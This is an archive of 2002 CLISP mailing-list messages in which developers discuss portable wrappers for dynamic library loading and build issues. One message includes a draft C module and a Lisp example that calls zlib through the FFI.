http://www.b9.com/mailman/listinfo/uffi-devel -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 04 05:56:34 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16t7j6-00034I-00 for ; Thu, 04 Apr 2002 05:56:32 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 4 Apr 2002 15:55:02 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 15:56:23 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] two interfaces to dynamic loading of libraries/objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 05:57:10 2002 X-Original-Date: Thu, 4 Apr 2002 15:56:22 +0200 Hi, Reini Urban wrote: > and the dynamic CLISP FFI should also be doable. (truly a shame) It could be here by the end of the day... I'd appreciate comments upon two different wrappers around all siblings of dlopen() functionality: sysdll.c and dynaload.c. http://xarch.tu-graz.ac.at/autocad/lsp_tools/ntemacs/emodules/dynaload/ The goal is to know which of these two files best suits the many platforms that CLISP already runs on. Reini Urban's ffis.html says "Other OS's name this function dlopen (Sun, BSD), dld_link (GNU, linux, ...), shl_load on HPUX, rld_load on NEXT, or use different calls (ldopen, ... on AIX; lib$find_image_symbol on VMS)". So I figured out I'd rather use some tiny portability layer instead of rewriting tons of #ifdef VAX|LINUX|AmigaOS|WIN32|BSD|SYSV|BEOS myself. Reini Urban sent me these files. Thanks Reini! My initial comments: o sysdll.[ch] (William Perry) is usable as is, while dynaload.c (Steve Kemp) contains Emacs code at the end. o dynaload.c seems to support more platforms (mentions AIX, BEOS etc.). I don't know if CLISP runs on all of these. o sysdll.c provides empty default stubs. While this maybe fine for XEmacs where they want the thing to compile, this is *not* acceptable for CLISP. I don't want :DYNAMIC-FFI to be pushed on *features* when the user will get "no dlopen" at run-time, although it could have been known at CLISP compile-time that the functionality is not there for this platform. Removing the empty stubs would help generate a C compiler error, but this would mean a different file from the original one. Reini's comment in http://xarch.tu-graz.ac.at/autocad/lisp/ffis.html "the wheel was reinvented [...] (and IMHO worse) dynaloader." Many comments appreciated. Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 04 06:17:34 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16t83P-0001pl-00 for ; Thu, 04 Apr 2002 06:17:32 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 4 Apr 2002 16:15:58 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 16:17:19 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kevin@rosenberg.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] dynamic loading of shared libraries/objects: delayed by known mod ule bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 06:20:20 2002 X-Original-Date: Thu, 4 Apr 2002 16:17:15 +0200 Hi, > > and the dynamic CLISP FFI should also be doable. (truly a shame) > It could be here by the end of the day... A preliminary version is done (in 6KB of code). However, I'm hitting the module__inittab... bug reported by Peter Wood, for module__dynload__subr_tab_initdata[] this time, and it doesn't seem to be a package issue this time. ...\src\clisp-2.28\src>lispd.exe -M lispinit.mem *** - The value of *TERMINAL-IO* was not a stream: #. It has been changed to #. + crash about #xfffffff8 ...\src\clisp-2.28\src>lispd.exe WARNING: No initialization file specified. Please try: lispd.exe -M lispinit.mem > (ffi::foreign-library 1 2) *** - FFI::FOREIGN-LIBRARY: argument 1 is not a string 1. Break> (ffi::foreign-library "zlib.dll") # 1. Break> (setq fz *) # 1. Break> (ffi::foreign-library "foo.dll") *** - FOREIGN-LIBRARY: cannot open "foo.dll" 2. Break> :a :A 2. Break> (ffi::resolve-foreign-name "compress" fz) # 2. Break> (setq fc *) # 2. Break> (ffi::resolve-foreign-name "bar" fz) *** - FFI::RESOLVE-FOREIGN-NAME: cannot locate "bar" in foreign library 3. Break> ^Z [error.d:304] cannot handle the fatal error due to a fatal error in the fatal error handler! Hmm... Jorg Hohle From samuel.steingold@verizon.net Thu Apr 04 06:24:13 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16t89r-00044u-00 for ; Thu, 04 Apr 2002 06:24:11 -0800 Received: from gnu.org ([151.203.48.85]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020404142411.GJOG16260.out002.verizon.net@gnu.org>; Thu, 4 Apr 2002 08:24:11 -0600 To: Tom Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems building on MacOSX, and problems with the build process References: <20020404032940.6942.qmail@web11904.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020404032940.6942.qmail@web11904.mail.yahoo.com> Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 06:27:41 2002 X-Original-Date: 04 Apr 2002 09:24:09 -0500 > * In message <20020404032940.6942.qmail@web11904.mail.yahoo.com> > * On the subject of "[clisp-list] problems building on MacOSX, and problems with the build process" > * Sent on Wed, 3 Apr 2002 19:29:40 -0800 (PST) > * Honorable Tom writes: > > Trying to build CLISP on MacOSX breaks in the avcall package because > the OSX asm syntax is different from that of other rs6000 systems. > > Is there any way of telling CLISP not to use avcall? I tried giving > configure the "--without-avcall" option. Configure doesn't complain, > but it still tries to compile "avcall" and fails. Would it even > run without avcall? sure - no FFI. $ ./configure --with-no-dynamic-ffi > I'm also having a hard time just hacking CLISP. When I "configure" > and "make" it, after it dies making itself in avcall, it doesn't > notice that anything went wrong, removes (!) the toplevel makefile, > and tells me to proceed to the second stage make process. After that, > the source tree is in a mess: configure refuses to run again because > bits and pieces of the previous configuration are still around, and > "make" refuses to run because the top-level makefile is gone. That > can't be how is it supposed to work; what am I missing? always build in a separate directory: $ ./configure build-dir -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The only thing worse than X Windows: (X Windows) - X From samuel.steingold@verizon.net Thu Apr 04 06:34:19 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16t8Je-000778-00 for ; Thu, 04 Apr 2002 06:34:18 -0800 Received: from gnu.org ([151.203.48.85]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020404143416.GTON2777.out011.verizon.net@gnu.org>; Thu, 4 Apr 2002 08:34:16 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] two interfaces to dynamic loading of libraries/objects References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 06:39:28 2002 X-Original-Date: 04 Apr 2002 09:34:17 -0500 > * In message > * On the subject of "[clisp-list] two interfaces to dynamic loading of libraries/objects" > * Sent on Thu, 4 Apr 2002 15:56:22 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > So I figured out I'd rather use some tiny portability layer instead of > rewriting tons of #ifdef VAX|LINUX|AmigaOS|WIN32|BSD|SYSV|BEOS myself. IIUC, libltdl (part of GNU libtool) is exactly that: This is GNU libltdl, a system independent dlopen wrapper for GNU libtool. It supports the following dlopen interfaces: * dlopen (Solaris, Linux and various BSD flavors) * shl_load (HP-UX) * LoadLibrary (Win16 and Win32) * load_add_on (BeOS) * GNU DLD (emulates dynamic linking for static libraries) * libtool's dlpreopen -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! My inferiority complex is the only thing I can be proud of. From samuel.steingold@verizon.net Thu Apr 04 06:36:51 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16t8M5-0007pw-00 for ; Thu, 04 Apr 2002 06:36:49 -0800 Received: from gnu.org ([151.203.48.85]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020404143640.SFOO16955.out008.verizon.net@gnu.org>; Thu, 4 Apr 2002 08:36:40 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, dan.stanger@ieee.org Subject: Re: [clisp-list] c-ptr nil vs c-pointer and cparse/SWIG -> FFI calls References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 06:42:23 2002 X-Original-Date: 04 Apr 2002 09:36:42 -0500 > * In message > * On the subject of "[clisp-list] c-ptr nil vs c-pointer and cparse/SWIG -> FFI calls" > * Sent on Wed, 3 Apr 2002 11:17:51 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > From what I read, this needs the "stdcall" (= seems to be name for > Pascal stack order) calling convention of which Sam recently said it > was not really implemented (however src/foreign.d doesn't mention any > incompleteness). I heard that most other .dll use the regular C > calling convention, so you may try them first. Bruno said that stdcall is not used anymore and may be removed. I decided against removing. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Lisp is a way of life. C is a way of death. From dan.stanger@ieee.org Thu Apr 04 09:28:15 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tB1z-0007Ar-00 for ; Thu, 04 Apr 2002 09:28:15 -0800 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g34HS8P08395 for clisp-list@lists.sourceforge.net; Thu, 4 Apr 2002 10:28:08 -0700 (MST) From: dan.stanger@ieee.org Message-Id: <200204041728.g34HS8P08395@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] std-call Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 15:30:23 2002 X-Original-Date: Thu, 4 Apr 2002 10:28:08 -0700 (MST) I expect to use this, calling win32 functions from clisp using the ffi interface, under cygwin. BTW, can anyone shed any light on the use of e2d, ccmp2c and comment5? I am still not sure which will be easier, to write a module to handle the win32 gui or use ffi, and do everything in lisp. I would appreciate any advice on this. I plan to use cygwin for this effort regardless. Dan Stanger From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 04 23:50:20 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tOUE-00061x-00 for ; Thu, 04 Apr 2002 23:50:18 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 5 Apr 2002 09:48:48 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 5 Apr 2002 09:50:08 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C1DC76.81C7C850" Subject: [clisp-list] dynamic loading of shared libraries/objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 23:51:02 2002 X-Original-Date: Fri, 5 Apr 2002 09:50:08 +0200 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C1DC76.81C7C850 Content-Type: text/plain Silly me, withholding dynload.d because of the low-level error reporting bug shouldn't prevent you from trying to compile the files on the various platforms (Linux, Solaris, HP, Mac etc.). So I'll be happy to receive feedback on: 1. how dynload.d and especially sysdll.c (from XEmacs) compiles on all CLISP systems. 2. the various comments in dynload.d You have to get sysdll.[ch] from: http://xarch.tu-graz.ac.at/autocad/lsp_tools/ntemacs/emodules/dynaload/ >and it doesn't seem to be a package issue this time. It was. Damn' PACKAGE-LOCK. Of course, "*TERMINAL-IO* was not a stream" didn't help point at the right location :-( Enjoy, Jorg Hohle PS: don't forget to add MODULE(dynload) to modules.h and recompile lisp.{run,exe} For MS-Windows, I had to add #include "windows.h" to sysdll.c My makefile.msvc6: look at -D stuff ################################ Joerg's dynload+regexp playground REGEXDYNMODOBJECTS = \ dynload.obj \ sysdll.obj \ ..\modules\regexp\regexp.obj \ ..\modules\regexp\regexi.obj \ ..\modules\regexp\regex.obj dynload.c : dynload.d # comment5.exe ansidecl.exe varbrace.exe $(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c dynload.obj : dynload.c sysdll.h # clisp.h $(CPP) $(CFLAGS) dynload.c > dynload.i.c $(CC) $(CFLAGS) -c dynload.i.c $(RM) dynload.obj $(MV) dynload.i.obj dynload.obj $(RM) dynload.i.c # don't -DUNICODE sysdll.c via CFLAGS or you'll get LoadLibraryW(), not -A sysdll.obj : sysdll.c sysdll.h $(CC) -DCONST=const -DHAVE_SHLIB -DWIN32 $(CFLAGS) -UUNICODE -c sysdll.c lispd.exe : $(REGEXDYNMODOBJECTS) $(OBJECTS) modules.obj avcall.lib callback.lib iconv.lib sigsegv.lib data $(RM) lisp.ilk $(CC) $(CFLAGS) $(CLFLAGS) $(REGEXDYNMODOBJECTS) $(OBJECTS) modules.obj $(LIBS) /link /out:lispd.exe editbin /stack:3145728 lispd.exe ------_=_NextPart_000_01C1DC76.81C7C850 Content-Type: application/octet-stream; name="dynload.d" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="dynload.d" # preliminary FFI enabler hacks=0A= # For testing & reporting only=0A= # This file is to become part of CLISP=0A= # (c) J=F6rg H=F6hle, 2002=0A= =0A= #include "lispbibl.c"=0A= =0A= #ifndef WANT_SYSDLL=0A= #define WANT_SYSDLL=0A= #endif=0A= =0A= =0A= #ifdef WANT_SYSDLL=0A= # sysdll.c needs -DHAVE_SHLIB or it will compile empty=0A= #include "sysdll.h"=0A= #endif=0A= =0A= /* Notes=0A= o SPVW.D:dynload_modules() uses dlopen(RTLD_NOW) while all other = calls=0A= to dlopen() I've seen use RTLD_LAZY. Why?=0A= o dynaload.c on WIN32 uses LoadLibraryExA(DLOPEN_MODE) instead of = LoadLibraryA.=0A= What's the advantage?=0A= =0A= ;;; Comments about XEmacs' sysdll.c:=0A= o dll_open doesn't pass through dl_open(flags), e.g. RTLD_LAZY=0A= That's what I planned the optional arguments to FOREIGN-LIBRARY = for.=0A= o error status is abysmal: "Generic shared library error", while = CLISP=0A= provides extensive support for reporting (OS_errno, OS_error)=0A= TODO? rewrite and provide good error reporting=0A= */=0A= =0A= # Allocate a foreign address.=0A= # make_faddress2(base,destination)=0A= # > base: base address=0A= # > destination: absolute, not relative to base=0A= # < result: Lisp object=0A= local object make_faddress2 (object base, void* destination);=0A= local object make_faddress2(base,offset)=0A= var object base;=0A= var void* destination;=0A= {=0A= pushSTACK(base);=0A= var object result =3D allocate_faddress();=0A= # TODO ensure un-/signed arithmetic works=0A= TheFaddress(result)->fa_offset =3D (sintP)((uintP)destination - = (uintP)Fpointer_value(STACK_0));=0A= # TODO require validating address or not??=0A= TheFaddress(result)->fa_base =3D popSTACK(); # base=0A= return result;=0A= }=0A= =0A= # TODO?? rename to REALLY-OPEN-LIBRARY or manage externally visible = list=0A= # *FOREIGN-LIBRARIES* of (name libptr . functions)=0A= # a) allows closing upon exit=0A= # b) allows graceful reopening when CLISP restarts=0A= # c) provides interface via ffi::update-foreign-address to correct=0A= # the addresses of all library functions in the new Lisp session.=0A= # However I don't like the automatic opening at module = initialization=0A= # time that Bruno Haible added for AmigaOS = (foreign.d:validate_fpointer)=0A= # since i) the environmen may not be ready yet (getenv PATH, EXT:CD)=0A= # and ii) some libraries have dynamic extent (e.g. = bsdsocket.library)=0A= # and may not be ready for opening when CLISP starts up.=0A= # The programmer needs to control this.=0A= =0A= # (FFI::FOREIGN-LIBRARY name &optional flag)=0A= # returns a foreign library specifier.=0A= LISPFUN(foreign_library,1,1,norest,nokey,0,NIL)=0A= {=0A= var object name =3D STACK_1;=0A= if (!stringp(name)) # TODO? accept pathname=0A= fehler_string(name);=0A= # flag ignored for now=0A= # Pre-allocate room:=0A= pushSTACK(allocate_fpointer((void*)0));=0A= var void* libaddr;=0A= =0A= with_string_0(name,O(pathname_encoding),libname, {=0A= begin_system_call();=0A= #if defined(AMIGAOS)=0A= libaddr =3D OpenLibrary(libname,0);=0A= #elif defined(WANT_SYSDLL)=0A= libaddr =3D dll_open(libname);=0A= #else=0A= #error "what dlopen implementation to use now?"=0A= #endif=0A= end_system_call();=0A= });=0A= if (libaddr =3D=3D NULL) {=0A= pushSTACK(name);=0A= pushSTACK(TheSubr(subr_self)->name);=0A= fehler(error,GETTEXT("~: cannot open library ~"));=0A= }=0A= var object lib =3D popSTACK();=0A= TheFpointer(lib)->fp_pointer =3D libaddr;=0A= value1 =3D lib;=0A= mv_count=3D1; skipSTACK(2);=0A= }=0A= =0A= # TODO? &optional required for AMIGAOS, i.e. varying signature=0A= # (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option)=0A= LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL)=0A= {=0A= var object name =3D STACK_2;=0A= if (!stringp(name))=0A= fehler_string(name);=0A= STACK_2 =3D coerce_ss(STACK_2);=0A= if (!fpointerp(STACK_1)) { # TODO type error=0A= pushSTACK(STACK_1);=0A= pushSTACK(S(foreign_pointer));=0A= pushSTACK(TheSubr(subr_self)->name);=0A= fehler(error,GETTEXT("~: argument is not a ~: ~"));=0A= }=0A= var void* libhandle =3D Fpointer_value(STACK_1);=0A= var void* addr;=0A= # TODO? use misc_encoding=0A= with_string_0(name,O(foreign_encoding),symname, {=0A= begin_system_call();=0A= #ifdef WANT_SYSDLL=0A= addr =3D dll_function(libhandle,symname);=0A= #else=0A= #error "what dlsym now?"=0A= #endif=0A= end_system_call();=0A= });=0A= if (addr =3D=3D NULL) {=0A= pushSTACK(name);=0A= pushSTACK(TheSubr(subr_self)->name);=0A= fehler(error,GETTEXT("~: cannot locate ~ in foreign = library"));=0A= }=0A= value1 =3D make_faddress2(STACK_1,addr); mv_count=3D1;=0A= skipSTACK(3); =0A= }=0A= =0A= # To become part of FOREIGN.D:=0A= # (FFI:FOREIGN-ADDRESS-FUNCTION name address ctype)=0A= LISPFUNN(foreign_address_function,3)=0A= {=0A= if (!stringp(STACK_2))=0A= fehler_string(STACK_2);=0A= STACK_2 =3D coerce_ss(STACK_2);=0A= if (!faddressp(STACK_1)) { # TODO type error=0A= pushSTACK(STACK_1);=0A= pushSTACK(S(foreign_address));=0A= pushSTACK(TheSubr(subr_self)->name);=0A= fehler(error,GETTEXT("~: argument is not a ~: ~"));=0A= }=0A= {=0A= var object fvd =3D STACK_0;=0A= if (!(simple_vector_p(fvd)=0A= && (Svector_length(fvd) =3D=3D 4)=0A= && eq(TheSvector(fvd)->data[0],S(c_function))=0A= && simple_vector_p(TheSvector(fvd)->data[2])=0A= ) ) {=0A= dynamic_bind(S(print_circle),T); # *PRINT-CIRCLE* an T = binden=0A= pushSTACK(fvd);=0A= pushSTACK(TheSubr(subr_self)->name);=0A= fehler(error,GETTEXT("~: illegal foreign function type ~"));=0A= }=0A= }=0A= var object ffun =3D allocate_ffunction();=0A= var object fvd =3D STACK_0;=0A= TheFfunction(ffun)->ff_name =3D STACK_2;=0A= TheFfunction(ffun)->ff_address =3D STACK_1;=0A= TheFfunction(ffun)->ff_resulttype =3D TheSvector(fvd)->data[1];=0A= TheFfunction(ffun)->ff_argtypes =3D TheSvector(fvd)->data[2];=0A= TheFfunction(ffun)->ff_flags =3D TheSvector(fvd)->data[3];=0A= value1 =3D ffun; mv_count=3D1; skipSTACK(3);=0A= }=0A= =0A= # Joerg Hoehle's FFI hacks=0A= void *clisp_ffi_indirector =3D NULL;=0A= unsigned long int C_self(unsigned long obj)=0A= { return obj; }=0A= =0A= # Module structure=0A= =0A= uintC module__dynload__object_tab_size =3D 0;=0A= object module__dynload__object_tab[1];=0A= object_initdata module__dynload__object_tab_initdata[1];=0A= =0A= #undef LISPFUN=0A= #define LISPFUN LISPFUN_F=0A= #undef LISPSYM=0A= #define LISPSYM(name,printname,package) { package, printname },=0A= =0A= # TODO package "FFI" is locked in .mem, thus unusable=0A= # I consider it a bug that low-level module code is hindered by = PACKAGE-LOCK=0A= #define ffi "USER"=0A= =0A= #define subr_anz 3=0A= =0A= uintC module__dynload__subr_tab_size =3D subr_anz;=0A= =0A= subr_ module__dynload__subr_tab[subr_anz] =3D {=0A= # LISPFUNN(mark_foreign_invalid,1)=0A= LISPFUN(foreign_library,1,1,norest,nokey,0,NIL)=0A= LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL)=0A= LISPFUNN(foreign_address_function,3)=0A= };=0A= =0A= subr_initdata module__dynload__subr_tab_initdata[subr_anz] =3D {=0A= # LISPSYM(mark_foreign,"SET-INVALID",ffi)=0A= LISPSYM(foreign_library,"FOREIGN-LIBRARY",ffi)=0A= LISPSYM(resolve_foreign_name,"RESOLVE-FOREIGN-NAME",ffi)=0A= LISPSYM(foreign_address_function,"FOREIGN-ADDRESS-FUNCTION",ffi)=0A= };=0A= =0A= # called once when module is initialized, not called if found in .mem = file=0A= void module__dynload__init_function_1(module)=0A= var module_* module;=0A= {=0A= # TODO? (pushnew :DYNAMIC-FFI *features*)=0A= }=0A= =0A= # called for every session=0A= void module__dynload__init_function_2(module)=0A= var module_* module;=0A= {=0A= #ifdef WANT_SYSDLL=0A= # TODO dld needs char* executable_name -- local char* program_name = in spvw.d=0A= dll_init(NULL);=0A= #endif=0A= = register_foreign_variable(&clisp_ffi_indirector,"clisp_ffi_indirector",0= ,sizeof(clisp_ffi_indirector));=0A= register_foreign_function(&C_self,"C_self",1024);=0A= }=0A= =0A= # If we had a module exit function, we could close all libraries=0A= =0A= ------_=_NextPart_000_01C1DC76.81C7C850 Content-Type: application/octet-stream; name="dynex.lisp" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="dynex.lisp" (in-package "USER")=0A= ;; module support currently broken, so all functions in package USER=0A= ;(load "dynex" :print t)=0A= =0A= (defvar *zlib-location*=0A= #+UNIX "libz.so"=0A= #+WIN32 "zlib.dll") ; "C:\\WinNT\\System32\\zlib.dll"=0A= =0A= (defvar *zlib*)=0A= (unless (and (boundp '*zlib*)=0A= (ffi:validp *zlib*))=0A= (setq *zlib* (user::foreign-library *zlib-location*)))=0A= (describe *zlib*)=0A= =0A= (defparameter *zlib-compress-address*=0A= (user::resolve-foreign-name "compress" *zlib*))=0A= (describe *zlib-compress-address*)=0A= =0A= (defparameter *zlib-compress*=0A= (user::foreign-address-function "compress" *zlib-compress-address*=0A= (ffi::parse-c-type '(ffi:c-function=0A= (:arguments (dest (ffi:c-ptr (ffi:c-array ffi:uint8 23)) :out)=0A= (destlen (ffi:c-ptr ffi:ulong) :in-out)=0A= (source (ffi:c-ptr (ffi:c-array ffi:uint8 9)))=0A= (sourcelen ffi:ulong))=0A= (:return-type ffi:int)=0A= (:language :stdc)))))=0A= (describe *zlib-compress*)=0A= =0A= ;; Appropriate DEF-LIB-CALL-OUT macrology is up to you=0A= =0A= (defun compress (s)=0A= ;; <=3D> (funcall *zlib-compress* 23 s 8)=0A= (ffi::foreign-call-out *zlib-compress* 23 s 8))=0A= #|=0A= (compress #(1 2 3 4 5 6 7 8 9))=0A= #(120 156 99 100 98 102 97 101 99 231 0 0 0 128 0 37 0 0 0 0 0 0 0) = ;=0A= 16 ;=0A= FFI:UINT8 !?!=0A= Oops, something else is broken with FFI :out parameters, grr!=0A= |# ------_=_NextPart_000_01C1DC76.81C7C850-- From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 05 00:34:07 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tPAc-0003yd-00 for ; Fri, 05 Apr 2002 00:34:06 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 5 Apr 2002 10:32:34 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 5 Apr 2002 10:33:55 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] two, now three interfaces to dynamic loading of libraries/objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 5 00:35:01 2002 X-Original-Date: Fri, 5 Apr 2002 10:33:54 +0200 Hi, Sam wrote: > IIUC, libltdl (part of GNU libtool) is exactly that: I went to http://www.gnu.org/software/libtool/manual.html#Using%20libltdl I liked that: o it says "a small C source file" o lt_dlopen does reference counting itself, whereas FOREIGN.D (currently AMIGAOS only) implements its own lib-handle factory via O(foreign_libraries) to avoid multiple opens. I felt it's a little over-engineered for my purpose. It provides 16 functions, search-path, its own module concept and more. > * libtool's dlpreopen I don't have plans to incorporate a thing which has yet again it's own module creation convention (modulename_LTX_ prefix to symbols). > This is GNU libltdl, a system independent dlopen wrapper for > GNU libtool. [many platforms ...] > * load_add_on (BeOS) > * GNU DLD (emulates dynamic linking for static libraries) I guess it's probably as easy to integrate as sysdll.c. And it already contains autoconf stuff for UNIX. Wait and see what users report. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 05 03:11:11 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16tRcb-00029P-00 for ; Fri, 05 Apr 2002 03:11:09 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 5 Apr 2002 13:09:39 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 5 Apr 2002 13:10:59 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable 